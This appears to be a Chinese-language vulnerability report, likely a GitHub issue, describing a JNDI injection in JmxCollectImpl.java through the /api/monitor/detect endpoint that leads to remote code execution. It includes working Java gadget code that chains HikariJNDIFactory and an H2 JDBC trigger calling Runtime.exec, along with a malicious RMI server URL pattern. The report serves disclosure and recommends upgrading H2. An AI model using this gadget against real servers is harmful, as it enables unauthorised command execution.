We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
在JmxCollectImpl.java的实现中,JMXConnectorFactory.connect实则存在JNDI注入 其对应的接口是/api/monitor/detect,若存在url的field,则会默认使用该地址,当url为service:jmx:rmi:///jndi/rmi://xxxxxxx:1099/localHikari时,即可以被攻击导致RCE 由于使用的Docker环境用的是jre,所以ldap打反序列化没有sink(也没有找到合适的链子),tomcat版本过高,导致beanFactory.noForceString(导致不能使用BeanFactory绕过高版本的jdk)。对此,我找了新找了一个HikariJNDIFactory来bypass高版本的jdk 恶意的RMIServer的Ref如下
public ResourceRef execByHikari() { ResourceRef ref = new ResourceRef("javax.sql.DataSource", null, "", "", true,"com.zaxxer.hikari.HikariJNDIFactory",null); ref.add(new StringRefAddr("driverClassName", "org.h2.Driver")); String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + "java.lang.Runtime.getRuntime().exec('"+this.command+"')\n" + "$$\n"; ref.add(new StringRefAddr("jdbcUrl", JDBC_URL)); return ref; }
开启恶意RMI的server 发送payload 恶意server上接受到请求 容器中命令成功执行
这条gadget的本质原因是h2数据库存在rce漏洞,请升级h2依赖至最新版
漏洞原理
在JmxCollectImpl.java的实现中,JMXConnectorFactory.connect实则存在JNDI注入
其对应的接口是/api/monitor/detect,若存在url的field,则会默认使用该地址,当url为service:jmx:rmi:///jndi/rmi://xxxxxxx:1099/localHikari时,即可以被攻击导致RCE
由于使用的Docker环境用的是jre,所以ldap打反序列化没有sink(也没有找到合适的链子),tomcat版本过高,导致beanFactory.noForceString(导致不能使用BeanFactory绕过高版本的jdk)。对此,我找了新找了一个HikariJNDIFactory来bypass高版本的jdk
恶意的RMIServer的Ref如下
漏洞复现
开启恶意RMI的server
发送payload
恶意server上接受到请求
容器中命令成功执行
修复建议
这条gadget的本质原因是h2数据库存在rce漏洞,请升级h2依赖至最新版